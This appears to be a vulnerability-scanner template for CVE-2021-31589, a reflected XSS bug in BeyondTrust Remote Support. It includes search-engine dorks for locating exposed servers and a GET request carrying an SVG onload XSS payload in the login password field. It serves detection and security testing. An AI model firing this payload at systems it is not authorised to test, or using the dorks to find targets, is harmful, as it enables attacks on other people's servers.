id: CVE-2021-31589 info: name: BeyondTrust Remote Support Reflected XSS author: Ahmed Abou-Ela severity: medium description: Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. reference: - https://packetstormsecurity.com/files/165408 - https://cxsecurity.com/issue/WLB-2022010013 - https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb - https://www.beyondtrust.com/docs/release-notes/index.htm classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-31589 cwe-id: CWE-79 metadata: google-dork: '"BeyondTrust" "Redistribution Prohibited"' shodan-query: 'set-cookie: nsbase_session' tags: cve,cve2021,beyondtrust,bomgar,xss requests: - method: GET path: - "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password" matchers-condition: and matchers: - type: word case-insensitive: true part: body words: - '' - 'bomgar' condition: and - type: status status: - 200